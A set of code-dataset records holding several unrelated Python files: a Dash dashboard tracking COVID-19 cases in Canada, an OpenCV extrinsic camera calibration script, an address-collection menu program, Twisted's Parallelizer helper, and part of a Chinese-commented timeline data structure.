'pk.eyJ1Ijoic3VueWFuZzA0MjYiLCJhIjoiY2s4MHV0MWNkMDRpcTNmcHFmOWhwaWoxZiJ9.hIMx3CyEx3erYGxBjnLX9Q'\n\nfig = px.scatter_mapbox(province_case, \n lon = 'lon', lat = 'lat', \n hover_name = 'province',\n size = 'cases', size_max = 45,\n color_discrete_sequence = ['#72bcd4'], \n width = 500, height = 500,\n )\n\nfig.update_layout(mapbox = {'accesstoken': token, \n 'center': {'lon': -100.3467712, 'lat':60.1303673},\n 'zoom': 1.85},\n mapbox_style ='dark', paper_bgcolor = colors['background'],\n margin = {'l': 10, 'r': 10, 't':10, 'b':10})\n\n## data for the canada line chart\ncanada = pd.DataFrame(dff.index.value_counts()).reset_index()\ncanada = canada.set_index('index')\ncanada = canada.resample('d').sum().fillna(0)\ncanada['cumu'] = canada['date_report'].cumsum()\n\n# generate the canada chart\n\n# import dataframes for other stats\nRANGE_NAME_1 = 'Mortality'\nRANGE_NAME_2 = 'Recovered'\nRANGE_NAME_3 = 'Testing'\n\nurl_1 = 'https://docs.google.com/spreadsheets/d/{0}/gviz/tq?tqx=out:csv&sheet={1}'.format(SPREADSHEET_ID, RANGE_NAME_1)\nurl_2 = 'https://docs.google.com/spreadsheets/d/{0}/gviz/tq?tqx=out:csv&sheet={1}'.format(SPREADSHEET_ID, RANGE_NAME_2)\nurl_3 = 'https://docs.google.com/spreadsheets/d/{0}/gviz/tq?tqx=out:csv&sheet={1}'.format(SPREADSHEET_ID, RANGE_NAME_3)\n\nmortality = pd.read_csv(url_1)\nrecovered = pd.read_csv(url_2)\ntesting = pd.read_csv(url_3)\n\ndef rename_first_column(dataframe):\n dataframe = dataframe.rename(columns={dataframe.columns[0]: 'id'})\n return dataframe\n\ntesting = rename_first_column(testing)\nmortailty = rename_first_column(mortality)\nrecovered = rename_first_column(recovered)\n\n# ------------------------ Prepare data for the Sankey diagram --------------\nsankey_df = pd.read_csv('sankey_df.csv')\n\n# A function to generate Sankey diagram. \n# Credit to https://medium.com/kenlok/how-to-create-sankey-diagrams-from-dataframes-in-python-e221c1b4d6b0\ndef genSankey(df,cat_cols=[],value_cols=''):\n labelList = []\n for catCol in cat_cols:\n labelListTemp = list(set(df[catCol].values))\n labelList = labelList + labelListTemp\n # transform df into a source-target pair\n for i in range(len(cat_cols)-1):\n if i==0:\n sourceTargetDf = df[[cat_cols[i],cat_cols[i+1],value_cols]]\n sourceTargetDf.columns = ['source','target','count']\n else:\n tempDf = df[[cat_cols[i],cat_cols[i+1],value_cols]]\n tempDf.columns = ['source','target','count']\n sourceTargetDf = pd.concat([sourceTargetDf,tempDf])\n sourceTargetDf = sourceTargetDf.groupby(['source','target']).agg({'count':'sum'}).reset_index() \n # add index for source-target pair\n sourceTargetDf['sourceID'] = sourceTargetDf['source'].apply(lambda x: labelList.index(x))\n sourceTargetDf['targetID'] = sourceTargetDf['target'].apply(lambda x: labelList.index(x)) \n # creating the sankey diagram\n data = dict(\n type='sankey',\n valueformat = '.f',\n node = dict(\n pad = 10,\n thickness = 30,\n line = dict(\n color = \"black\",\n width = 0.5\n ),\n label = labelList,\n color = colors['line']\n ),\n link = dict(\n source = sourceTargetDf['sourceID'],\n target = sourceTargetDf['targetID'],\n value = sourceTargetDf['count'],\n\n )\n )\n \n layout = dict(\n font = dict(\n size = 10\n ), \n plot_bgcolor=colors['background'],\n paper_bgcolor=colors['background'],\n height = 450, \n margin = {'l':50, 'b':40, 't':30, 'r':50}\n )\n \n fig = go.Figure(data = [go.Sankey(data)], layout = layout)\n return fig\n\n\n\n\n\n\n# --------------- Part Two. App layout ---------------------\n\napp.layout = html.Div(style={'backgroundColor': colors['background']}, children=[\n\t# Headline\n html.H1(\n children='Tracking COVID-19 in Canada',\n style={\n 'textAlign': 'center',\n 'color': colors['text'],\n 'padding-top': 30,\n }\n ),\n # # Dashboard Intro\n html.Div(children=[\n \thtml.P(\"This dashboard tracks the number and distribution of COVID-19 cases in Canada in real-time. \\\n \t\tData used for this project is a publicly available dataset collected by \", \n \t\tstyle = {'display': 'inline'}),\n \thtml.A('COVID-19 Canada Open Data Working Group', href = 'https://github.com/ishaberry/Covid19Canada', \n \t\ttarget = '_blank',\n \t\tstyle = {'display': 'inline'}),\n \thtml.P(\". This dashboard allows a user to filter cumulative cases and daily \\\n \t\tincrease in a province or territory.\", style = {'display': 'inline'}),\n \thtml.P(df.columns[0].split('Please')[0]),\n\n \t], \n\n \tstyle={ 'textAlign': 'left',\n\t\t\t 'color': colors['text'],\n\t\t\t 'padding-left': 70,\n\t\t\t 'padding-right': 70}\n\t ),\n\n # indicators\n html.Div([\n \thtml.Div([html.H3(df.shape[0]), \n \t\t\t html.H5('Confirmed')], \n \t\t\t style = indicator_style, \n \t\t\t className = 'three columns'),\n \thtml.Div([html.H3(mortailty.shape[0]),\n \t\t\t html.H5('Deaths')], \n \t\t\t style = indicator_style, \n \t\t\t className = 'three columns'),\n \thtml.Div([html.H3(recovered.groupby('province').cumulative_recovered.max().sum()),\n \t\t\t html.H5('Recovered')], \n \t\t\t style = indicator_style, \n \t\t\t className = 'three columns'),\n \thtml.Div([html.H3(testing.groupby('province').cumulative_testing.max().sum()),\n \t\t\t html.H5('Testing')], \n \t\t\t style = indicator_style, \n \t\t\t className = 'three columns'),\n\n \t], className = 'row', style = {'margin-top': 30, 'padding-left': 150}),\n\n\n # Overview of the country (map and line chart)\n html.Div([\n\n \t# line chart\n \thtml.Div([\n \t\t# selector\n \t\thtml.Div([\n\t \t\tdcc.RadioItems(\n\t \t\t\tid = 'scale-type',\n\t \t\t\toptions = [{'label': i, 'value': i} for i in ['Linear', 'Log']],\n\t \t\t\tvalue = 'Log',\n\t \t\t\tlabelStyle = {'display': 'inline-block'},\n\t \t\t\tstyle = {'background': colors['background'], \n\t \t\t\t\t\t'color': colors['text'], \n\t \t\t\t\t\t'padding-top': 40,\n\t \t\t\t\t\t'padding-left': 70,}\n\t \t\t\t)\n \t\t ]),\n \t\t# the chart\n \t\thtml.Div([\n\t \t\tdcc.Graph(\n\t \t\t\tid = 'canada-line',\n\t \t\t\t)\n \t\t ])\n \t\t], className = 'six columns'),\n\n \t# map\n \thtml.Div([\n \t\thtml.Div([\n\t \t\tdcc.Graph(\n\t \t\t\tid = 'canada-map',\n\t \t\t\tfigure = fig,\n\t \t\t\t)]),\n \t\t], className = 'six columns')\n\t ], className = 'row', style = {'padding-top': 50}), # end of country overview\n\n\n\n # # curve by province\n html.Div([\n # \t# selectors + line chart\n \thtml.Div([\n \t\t# selector Dropdown\n \t\thtml.Div([\n \t\t\thtml.P(children = 'Choose a province from the dropdown menu', \n \t\t\t\tstyle = {'backgroundColor': colors['background'],\n \t\t\t\t\t\t'color': colors['text']}),\n\n \t\t\tdcc.Dropdown(\n \t\t\t\tid = 'province-select',\n \t\t\t\toptions = [ \n \t\t\t\t\t\t\n \t\t\t\t\t\t\t{'label': i, 'value': i} for i in df['province'].unique()\n\n \t\t\t\t\t\t\t],\n \t\t\t\tvalue = 'Ontario',\n \t\t\t\t),\n \t\t\t], style = { 'padding-left': 70, 'padding-right': 100}),\n \t\t# selector RadioItems\n \t\thtml.Div([\n \t\t\thtml.P(children = 'Choose a calculation type',\n \t\t\t\tstyle = {'backgroundColor': colors['background'],\n \t\t\t\t\t\t'color': colors['text'],\n \t\t\t\t\t\t'marging-left': '15'}),\n\n \t\t\tdcc.RadioItems(\n \t\t\t\tid = 'calculation-type',\n \t\t\t\toptions = [{'label':i, 'value':i} for i in ['Cumulative Cases', 'New Cases']],\n \t\t\t\tvalue = 'Cumulative Cases',\n \t\t\t\tlabelStyle = {'display': 'inline-block'},\n \t\t\t\tstyle = {'background': colors['background'], 'color': colors['text']}\n \t\t\t\t)\n \t\t\t], style = { 'padding-left': 70, 'padding-top': 30}),\n \t\t# line chart\n \t\thtml.Div([\n \t\t\thtml.Div([\n \t\t\t\tdcc.Graph(id = 'line-by-province'),\n \t\t\t\t],),\n\n \t\t], style = {'backgroundColor': colors['background']}), \n\n \t], className = 'seven columns'), # end of selectors + line charts\n\n # \t\t# table\n\t\thtml.Div([\n\t\t\thtml.P('Distribution of cases in regions of a province/ territory',\n\t\t\t\tstyle = {'color': colors['text'], 'padding-bottom': 20}),\n\t\t\thtml.Div(id = 'datatable'),\n\t\t\t], className = 'five columns', style={'margin-top': 100}),\n\n\n ], className = 'row', style = {'margin-top': 70}), # end of province div\n\n\n\n # other stats\n html.Div([\n \t# the tab selector\n \tdcc.Tabs(\n \t\tid = 'stats-tab',\n \t\tvalue = 'mortality-tab',\n \t\tchildren = [\n \t\t\t\t\tdcc.Tab(label = 'Mortality', value = 'mortality-tab', \n \t\t\t\t\t\tstyle = tab_style, selected_style = tab_selected_style),\n \t\t\t\t\tdcc.Tab(label = 'Recovered', value = 'recover-tab',\n \t\t\t\t\t\tstyle = tab_style, selected_style = tab_selected_style),\n \t\t\t\t\tdcc.Tab(label = 'Testing', value = 'testing-tab',\n \t\t\t\t\t\tstyle = tab_style, selected_style = tab_selected_style)\n \t\t\t\t\t],\n \t\tstyle = tabs_styles,),\n\n \tdcc.Graph(id = 'other-stats'),\n \t], style = {'margin-top': 70}),\n\n # sankey diagram\n html.Div([\n html.Div(children = ['At this moment, more than half of COVID-19 cases in Canada related to community transmission. \\\n But at the early stage of the outbreak, the majority were due to traveling. \\\n The lack of a universal reporting format among provinces and territories makes it hard to have \\\n a clear picture of how human migration across borders initiated the spread within Canada. \\\n Less than 10 percent of cases reported by governments indicating whether there was a travel history \\\n and even a smaller fraction of reported cases indicating where this patient had traveled to. \\\n The data is not perfect. However, the graphic below can still try to visualize where the early \\\n waves of cases came from.'],\n style={ 'textAlign': 'left',\n 'color': colors['text'],\n 'padding-left': 70,\n 'padding-right': 70,\n 'padding-top': 70}\n ),\n\n \tdcc.Graph(\n \t\tid = 'sankey',\n \t\tfigure = genSankey(sankey_df, cat_cols = ['from', 'to'], value_cols = 'count'),\n \t\t)\n \t]),\n\n # credits\n html.Div([\n \thtml.P('Developed by Yang Sun'),\n \thtml.A('DataLabTo', href = 'http://www.datalabto.ca/about/', target = '_blank',),\n \thtml.Br(),\n \thtml.A('Contact', href = 'mailto:sun.yang.ys57f@gmail.com'),\n \t], className = \"twelve columns\", \n \t style = {'fontSize': 15, 'padding-bottom': 30, 'padding-top': 30,\n \t \t\t\t'textAlign': 'center', \n \t \t\t\t'backgroundColor': colors['background'],\n \t \t\t\t'color': colors['text'],}),\n\n]) # end of global div\n\n\n# ------------ Part Three. Callbacks --------------------\n@app.callback(\n\tOutput('canada-line', 'figure'),\n\t[Input('scale-type', 'value')]\n\t)\ndef canada_line_update(yaxis_type):\n\n\treturn{\n\n\t\t'data': [dict(x = canada.index, \n\t\t\t\ty = canada.cumu, \n\t\t\t\ttype = 'line', \n\t\t\t\tname = 'Cumulative cases',\n\t\t\t\tmarker = {'color': colors['line']}),\n\t\t\t\tdict(x = canada.index, \n\t\t\t\t\ty = canada.date_report, \n\t\t\t\t\ttype = 'bar', \n\t\t\t\t\tname = 'New confirmed',\n\t\t\t\t\tmarker = {'color': colors['bar']})],\n\t\t'layout': dict(\n\t\t\tplot_bgcolor = colors['background'],\n\t\t\tpaper_bgcolor = colors['background'],\n\t\t\tfont = dict(color = colors['text']),\n\t\t\txaxis = {'gridcolor': colors['grid'], 'gridwidth': 0.05},\n\t\t\tyaxis = {'gridcolor': colors['grid'], 'gridwidth': 0.05,\n\t\t\t\t\t'title': 'No. of cases',\n\t\t\t\t\t'type': 'linear' if yaxis_type == 'Linear' else 'log'},\n\t \t legend={ 'x':0, 'y':1},\n\t \t margin = {'l':90, 'b':40, 't':10, 'r':40}\n\t\t\t)\n\n\t\t}\n\n\n\n@app.callback(\n\tOutput('line-by-province', 'figure'),\n\t[Input('province-select', 'value'),\n\tInput('calculation-type', 'value')]\n\t)\ndef update_line_chart(province, calculation_type):\n\tdf_province = pd.DataFrame(dff[dff.province == province].index.value_counts()).reset_index()\n\tdf_province = df_province.set_index('index')\n\tdf_province = df_province.resample('d').sum().fillna(0)\n\tdf_province['cumu'] = df_province['date_report'].cumsum()\n\n\tif calculation_type == 'New Cases':\n\t\treturn {\n\n\t\t\t'data':[dict(\n\t\t\t\tx = df_province.index,\n\t\t\t\ty = df_province.date_report,\n\t\t\t\ttype = 'bar',\n\t\t\t\tmarker = {'color': colors['bar']}\n\t\t\t\t)\n\t\t\t],\n\t\t\t'layout': dict(\n\t\t\t\tyaxis = {'title': 'No. of new cases'},\n\t\t\t\tplot_bgcolor = colors['background'],\n\t\t\t\tpaper_bgcolor = colors['background'],\n\t\t\t\tfont = {'color': colors['text']},\n\t\t\t\tmargin = {'l':90, 'b':40, 't':10, 'r':40}\n\n\t\t\t\t)\n\t\t}\n\telse: \n\t\treturn {\n\n\t\t\t'data':[dict(\n\t\t\t\tx = df_province.index,\n\t\t\t\ty = df_province.cumu,\n\t\t\t\ttpye = 'line',\n\t\t\t\tmarker = {'color': colors['line']}\n\t\t\t\t)\n\t\t\t],\n\t\t\t'layout': dict(\n\t\t\t\tyaxis = {'title': 'No. of cumulative cases'},\n\t\t\t\tplot_bgcolor = colors['background'],\n\t\t\t\tpaper_bgcolor = colors['background'],\n\t\t\t\tfont = {'color': colors['text']},\n\t\t\t\tmargin = {'l':90, 'b':40, 't':10, 'r':40}\n\t\t\t\t)\n\t\t}\n\n\n\n@app.callback(\n\tOutput('datatable', 'children'),\n\t[Input('province-select', 'value')]\n\t)\ndef update_datatable(province):\n\tprovince_counts = pd.DataFrame(df[df['province'] == province]['health_region'].value_counts()).reset_index().\\\n\t\t\t\t\t rename(columns = {'index': 'REGION', 'health_region': 'CONFIRMED CASES'})\n\tcolumns = [{'name': i, 'id': i} for i in province_counts.columns]\n\tdata = province_counts.to_dict('records')\n\treturn dt.DataTable(data = data, \n\t\t\t\t\t columns = columns, \n\t\t\t\t\t page_size = 10,\n\t\t\t\t\t style_cell = {'backgroundColor': colors['background'], 'color': colors['text']},\n\t\t\t\t\t style_header = {\n\t\t\t\t\t \t'fontWeight': 'bold',\n\t\t\t\t\t \t'backgroundColor': tab_selected_style['backgroundColor'],\n\t\t\t\t\t })\n\n\n\n@app.callback(\n\tOutput('other-stats', 'figure'),\n\t[Input('stats-tab', 'value')]\n\t)\ndef update_stats_graph(tab):\n\tif tab == 'mortality-tab':\n\t\treturn {\n\n\t\t\t'data':[dict(\n\t\t\t\tx = mortality.province.value_counts().index,\n\t\t\t\ty = mortality.province.value_counts().values,\n\t\t\t\ttype = 'bar',\n\t\t\t\tmarker = {'color': colors['bar']},\n\t\t\t\t)\n\t\t\t],\n\t\t\t'layout': stats_charts_style\n\t\t}\n\tif tab == 'recover-tab':\n\t\treturn {\n\n\t\t\t'data':[dict(\n\t\t\t\tx = recovered.groupby('province').cumulative_recovered.max().sort_values(ascending=False).index,\n\t\t\t\ty = recovered.groupby('province').cumulative_recovered.max().sort_values(ascending=False).values,\n\t\t\t\ttype = 'bar',\n\t\t\t\tmarker = {'color': colors['bar']},\n\t\t\t\t)\n\t\t\t],\n\t\t\t'layout': stats_charts_style\n\t\t}\n\telse:\n\t\treturn {\n\n\t\t\t'data':[dict(\n\t\t\t\tx = testing.groupby('province').cumulative_testing.max().sort_values(ascending=False).index,\n\t\t\t\ty = testing.groupby('province').cumulative_testing.max().sort_values(ascending=False).values,\n\t\t\t\ttype = 'bar',\n\t\t\t\tmarker = {'color': colors['bar']},\n\t\t\t\t)\n\t\t\t],\n\t\t\t'layout': stats_charts_style\n\t\t}\n\n\nif __name__ == '__main__':\n app.run_server(debug=True)\n\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":18010,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"9515314","text":"#!/usr/bin/python3\n# coding=utf-8\nimport sys, os\nimport cv2\nimport numpy as np\nimport pandas as pd\nfrom scipy.optimize import least_squares\nimport scipy.linalg as linalg\n\n\nPROJECT_NAME = \"Computer Vision Demonstration Project 2 - Requirement 3\"\nPROJECT_DESC = \"Extrisic Calibration\"\nSNAPSHOT_WIN = \"Snapshot\"\nUNDISTORT_WIN = \"Undistort\"\nRAW_WIN = \"RAW Video\"\n\nCIRCLE_RADIUS = 5\nCIRCLE_COLOR = (0,0,255)\nRULLER_COLOR = (255,0,0)\n\nBOARD_W = 8;\nBOARD_H = 6;\n\nraw_click_count = 0\nraw_p1 = (0,0)\nraw_p2 = (0,0)\n\nund_click_count = 0\nund_p1 = (0,0)\nund_p2 = (0,0)\n\n\n\n\n\ndef calibrate():\n\n width = 20.4 / BOARD_W\n heigth = 14.6 / BOARD_H\n\n WRL = np.zeros((48,2))\n\n i = 0\n for y in range(BOARD_H):\n for x in range(BOARD_W):\n WRL[i] = ((x * width), (y * heigth))\n i += 1\n\n fs = cv2.FileStorage('intrinsics.xml', cv2.FILE_STORAGE_READ)\n intrinsics = fs.getNode('floatdata').mat()\n fs.release()\n\n fs = cv2.FileStorage('distortion.xml', cv2.FILE_STORAGE_READ)\n distortion = fs.getNode('floatdata').mat()\n fs.release()\n\n criteria = (cv2.TERM_CRITERIA_EPS + cv2.TERM_CRITERIA_MAX_ITER, 30, 0.001)\n\n cap = cv2.VideoCapture(0)\n ret, frame = cap.read()\n h, w = frame.shape[:2]\n\n newcameramtx, roi = cv2.getOptimalNewCameraMatrix(intrinsics, distortion, (w, h), 1, (w, h))\n\n mapx, mapy = cv2.initUndistortRectifyMap(intrinsics, distortion, None, newcameramtx, (w, h), 5)\n\n cv2.namedWindow(UNDISTORT_WIN) # Create a named window\n cv2.moveWindow(UNDISTORT_WIN, 10, 10)\n cv2.namedWindow(RAW_WIN) # Create a named window\n cv2.moveWindow(RAW_WIN, 650, 10)\n\n found = False\n exit = False\n start = False\n\n print(\"setup camera and chessboard and press s to start...\")\n print(\"press q to quit without finding chessboard...\")\n\n while (not found) and (not exit):\n\n # Capture frame-by-frame\n ret, frame = cap.read()\n\n if ret:\n\n #frame = cv2.flip(f, 1)\n\n frame_gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n\n undist = cv2.remap(frame, mapx, mapy, cv2.INTER_LINEAR)\n\n undist_gray = cv2.cvtColor(undist, cv2.COLOR_BGR2GRAY)\n\n ret, corners = cv2.findChessboardCorners(undist_gray, (BOARD_W, BOARD_H), None)\n\n if start and ret and (len(corners) == BOARD_W * BOARD_H):\n\n found = True\n\n CAM = cv2.cornerSubPix(undist_gray, corners, (11, 11), (-1, -1), criteria)\n\n # Draw and display the corners\n undist = cv2.drawChessboardCorners(undist, (BOARD_W, BOARD_H), CAM, ret)\n\n # Display the resulting frame\n cv2.imshow(UNDISTORT_WIN, undist) # Se achou mostra snapshot colorido\n else:\n cv2.imshow(UNDISTORT_WIN, undist_gray) # Se nao achou mostra snapshot p&b\n\n # Display the resulting frame\n cv2.imshow(RAW_WIN, frame)\n\n key = cv2.waitKey(3)\n\n if key& 0xFF == ord('s'):\n start = True\n if key & 0xFF == ord('q'):\n return\n\n CAM = CAM.reshape(48,2)\n\n A = np.zeros((2*BOARD_W*BOARD_H, 9))\n\n for i in range(BOARD_W*BOARD_H):\n A[i*2] = (\n WRL[i][0], # X\n WRL[i][1], # Y\n 1, # 1\n 0, # 0\n 0, # 0\n 0, # 0\n - CAM[i][0] * WRL[i][0], # -xX\n - CAM[i][0] * WRL[i][1], # -xY\n - CAM[i][0] # x\n )\n A[(i*2)+1] = (\n 0, # 0\n 0, # 0\n 0, # 0\n WRL[i][0], # X\n WRL[i][1], # Y\n 1, # 1\n - CAM[i][1] * WRL[i][0], # -yX\n - CAM[i][1] * WRL[i][1], # -yY\n - CAM[i][1] # y\n )\n\n #np.set_printoptions(linewidth=160)\n\n U, s, Vh = linalg.svd(A)\n\n V = np.transpose(Vh)\n\n P = np.array([row[8] for row in V]).reshape((3,3))\n\n p = P.reshape(9)\n\n X = np.array([row[0] for row in WRL])\n Y = np.array([row[1] for row in WRL])\n\n x = np.array([row[0] for row in CAM])\n y = np.array([row[1] for row in CAM])\n\n def func(p, x, y, X, Y):\n\n proj_x = (p[0]*X + p[1]*Y + p[2]) / (p[6]*X + p[7]*Y + p[8])\n\n proj_y = (p[3]*X + p[4]*Y + p[5]) / (p[6]*X + p[7]*Y + p[8])\n\n r = (x - proj_x) ** 2 + (y - proj_y) ** 2\n\n return r\n\n res = least_squares(func, p, args=(np.array(x), np.array(y), np.array(X), np.array(Y)), max_nfev=9000, verbose=0)\n\n new_P = res.x.reshape((3, 3))\n\n H = np.array(np.matmul(linalg.inv(intrinsics) , new_P))#@\n\n h1 = np.array([row[0] for row in H])\n h2 = np.array([row[1] for row in H])\n\n _R = (2/(linalg.norm(h1) + linalg.norm(h2))) * H\n\n t = np.array([row[2] for row in _R])\n\n r1 = np.array([row[0] for row in _R])\n r2 = np.array([row[1] for row in _R])\n r3 = r1 * r2\n\n _R = np.append(np.append(r1, r2), r3).reshape((3,3))\n\n U, s, Vh = linalg.svd(_R)\n\n R = np.matmul(U, Vh) # @\n\n r = np.array([row[:2] for row in R])\n print(\"\\nr (rotation matrix:\")\n print(r)\n\n print(\"\\nt (translation vector:\")\n print(t)\n print(\"\\n||t||:\", linalg.norm(t))\n\n fs = cv2.FileStorage('rotation.xml', cv2.FILE_STORAGE_WRITE)\n fs.write(\"floatdata\", r)\n fs.release()\n\n fs = cv2.FileStorage('translation.xml', cv2.FILE_STORAGE_WRITE)\n fs.write(\"floatdata\", t)\n fs.release()\n # When everything done, release the capture\n cap.release()\n cv2.destroyAllWindows()\n cv2.namedWindow(UNDISTORT_WIN) # Create a named window\n cv2.moveWindow(UNDISTORT_WIN, 10, 10)\n cv2.namedWindow(RAW_WIN) # Create a named window\n cv2.moveWindow(RAW_WIN, 650, 10)\n\n\ndef do_the_job():\n calibrate()\n\n# Main Function\ndef Run():\n\n print(\"\\n%s\\n%s\" % (PROJECT_NAME, PROJECT_DESC))\n print(\"\\nTested with python3.6.4, opencv 3 and opencv-python 3.4.0\")\n\n print(\"\\nCurrent opencv-python version: %s\\n\" % cv2.__version__)\n\n if len(sys.argv) != 1:\n print('\\nSyntax: %s\\n' % sys.argv[0])\n sys.exit(-1)\n\n do_the_job()\n\nif __name__ == '__main__':\n Run()\n","sub_path":"Multiple_View/ref/req3.py","file_name":"req3.py","file_ext":"py","file_size_in_byte":6450,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"542225862","text":"from classAddress import Address as CA\nfrom classCollection import CollectionAddress as CC\nfrom classCollectionCaretaker import CollectionCaretaker\nfrom decorator import *\n\ndef main():\n options = '1 - insert collection from file\\n2 - print collection\\n3 - sort\\n4 - search\\n5 - delete obj\\n6 - add new obj\\n7 - edit obj\\n8 - show history\\n9 - undo\\n10 - redo\\n11 - exit\\n'\n collect = CC()\n caretaker = CollectionCaretaker(collect)\n while True:\n try:\n print(options)\n choice = enterIntInRange(0, 'Enter choice : ', 0, 11)\n\n if choice == 1: readFromFileMenu(caretaker, collect)\n elif choice == 2: print(collect)\n elif choice == 3: sortMenu(caretaker, collect)\n elif choice == 4: searchMenu(collect)\n elif choice == 5: deleteMenu(caretaker, collect)\n elif choice == 6: newObjMenu(caretaker, collect)\n elif choice == 7: editObjMenu(caretaker, collect)\n elif choice == 8: mementoHistoryMenu(caretaker)\n elif choice == 9: undoMenu(caretaker, collect) \n elif choice == 10: redoMenu(caretaker, collect)\n elif choice == 11: break\n\n except Exception as e:\n print('Error ', '--'*20, ' ',e)\n\ndef readFromFileMenu(caretaker, collect):\n caretaker.backup()\n collect.readJsonFile('data.json')\n collect.writeJsonFile(\"output.json\")\n\ndef sortMenu(caretaker, collect):\n attr = enterStr('0', 'Enter attribute: ')\n caretaker.backup()\n collect.sort(attr)\n collect.writeJsonFile(\"output.json\")\n\ndef searchMenu(collect):\n value = enterStr('0', \"Enter search elem - \")\n collect.search(value)\n\ndef deleteMenu(caretaker, collect):\n index = enterIntInRange(0, f'Enter index from 0 to {len(collect) - 1}: ', 0, len(collect) -1)\n caretaker.backup()\n collect.deleteElem(index)\n collect.writeJsonFile(\"output.json\")\n\ndef newObjMenu(caretaker, collect):\n caretaker.backup()\n collect.addNewAddress()\n collect.writeJsonFile(\"output.json\")\n\ndef editObjMenu(caretaker, collect):\n caretaker.backup()\n collect.editAddress()\n collect.writeJsonFile(\"output.json\")\n\ndef mementoHistoryMenu(caretaker):\n caretaker.show_history()\n\ndef undoMenu(caretaker, collect):\n caretaker.undo()\n collect.writeJsonFile(\"output.json\")\n\ndef redoMenu(caretaker, collect):\n caretaker.redo()\n collect.writeJsonFile(\"output.json\")\n\nif __name__ == '__main__':\n main()\n","sub_path":"Python/Programming/UnitTests/programmingTask6.py","file_name":"programmingTask6.py","file_ext":"py","file_size_in_byte":2467,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"119242316","text":"# -*- test-case-name: twext.python.test.test_parallel -*-\n##\n# Copyright (c) 2012-2014 Apple Inc. All rights reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n##\n\n\"\"\"\nUtilities for parallelizing tasks.\n\"\"\"\n\nfrom twisted.internet.defer import inlineCallbacks, DeferredList, returnValue\n\nclass Parallelizer(object):\n \"\"\"\n Do some operation with a degree of parallelism, using a set of resources\n which may each only be used for one task at a time, given some underlying\n API that returns L{Deferreds}.\n\n @ivar available: A list of available resources from the C{resources}\n constructor parameter.\n\n @ivar busy: A list of resources which are currently being used by\n operations.\n \"\"\"\n\n def __init__(self, resources):\n \"\"\"\n Initialize a L{Parallelizer} with a list of objects that will be passed\n to the callables sent to L{Parallelizer.do}.\n\n @param resources: objects which may be of any arbitrary type.\n @type resources: C{list}\n \"\"\"\n self.available = list(resources)\n self.busy = []\n self.activeDeferreds = []\n\n\n @inlineCallbacks\n def do(self, operation):\n \"\"\"\n Call C{operation} with one of the resources in C{self.available},\n removing that value for use by other callers of C{do} until the task\n performed by C{operation} is complete (in other words, the L{Deferred}\n returned by C{operation} has fired).\n\n @param operation: a 1-argument callable taking a resource from\n C{self.active} and returning a L{Deferred} when it's done using\n that resource.\n @type operation: C{callable}\n\n @return: a L{Deferred} that fires as soon as there are resources\n available such that this task can be I{started} - not completed.\n \"\"\"\n if not self.available:\n yield DeferredList(self.activeDeferreds, fireOnOneCallback=True,\n fireOnOneErrback=True)\n active = self.available.pop(0)\n self.busy.append(active)\n o = operation(active)\n def andFinally(whatever):\n self.activeDeferreds.remove(o)\n self.busy.remove(active)\n self.available.append(active)\n return whatever\n self.activeDeferreds.append(o)\n o.addBoth(andFinally)\n returnValue(None)\n\n\n def done(self):\n \"\"\"\n Wait until all operations started by L{Parallelizer.do} are completed.\n\n @return: a L{Deferred} that fires (with C{None}) when all the currently\n pending work on this L{Parallelizer} is completed and C{busy} is\n empty again.\n \"\"\"\n return (DeferredList(self.activeDeferreds)\n .addCallback(lambda ignored: None))\n","sub_path":"twext/trunk/twext/python/parallel.py","file_name":"parallel.py","file_ext":"py","file_size_in_byte":3281,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"590845501","text":"# 当前文件名\nmo = __file__[__file__.rfind('/')+1:]\n\n# 数据结构\nchaos = []\n\n\n# Time\n# 用来指示时间,读取文本时候会判断时间,然后把文本装进对应时间的数据结构里\nclass Time:\n zone = 0\n year = -10000\n month = 0\n day = 0\n\n @classmethod\n def reset(cls):\n Time.zone = 0\n Time.year = -100000\n Time.month = 0\n Time.day = 0\n\n @classmethod\n def set_zone(cls,num):\n Time.zone = num\n \n @classmethod\n def set_year(cls,num):\n Time.year = num\n\n @classmethod\n def set_month(cls,num):\n Time.month = num\n\n @classmethod\n def set_day(cls,num):\n Time.day = num\n \n @classmethod\n def display(cls):\n if Time.zone == 0:\n print('\\n无时间域\\n')\n elif Time.zone == 1:\n print(f'\\n现在是{Time.year}年\\n')\n elif Time.zone == 2:\n print(f'\\n现在是{Time.year}年{Time.month}月\\n')\n elif Time.zone == 3:\n print(f'\\n现在是{Time.year}年{Time.month}月{Time.day}日\\n')\n\n\n\n\n# Year\n# 表示年的类,可以用来装某年对应的文本\n# 类属性\n# Year.years 字典,年份-对象 int-\n# 实例属性\n# self.year = int 记录年份\n# self.content = list 记录内容\n# self.months = dict 记录月份与对应的对象实例 int-\n# 类方法\n# Year.newyear(num) 创建一个新年份,年份是num\n# Year.get_year(year) 返回某年的实例对象\n# Year.addcontent_Year(year,str) 往某年中加内容\n# Year.check_year_existed(year) 检查num年是否存在\n# Year.get_yearlist_ordered() 返回一个已有年份的列表\n# Year.get_monthlist_ordered(year) 返回某年的已有月份列表\n# Year.check_month_in_year(year,month) 检查某年是否有某月\n# Year.newmonth(year,month) 在某年中创建某月的Month实例\n# Year.get_month(year,month) 得到某年的某月的Month实例\nclass Year:\n # 所有year的字典,key-value是年份-对象 int-\n years = {}\n def __init__(self,year):\n self.year = year\n self.content = []\n self.months = {}\n # 初始化某年\n @ classmethod\n def newyear(cls,num):\n if Year.check_year_existed(num):\n raise Exception(f'创建失败,{num}年已经存在!')\n Year.years[num] = Year(num)\n # 返回一个从小到大排序好的yearlist列表\n @classmethod\n def get_yearlist_ordered(cls):\n yearlist = list(Year.years.keys())\n return sorted(yearlist)\n # 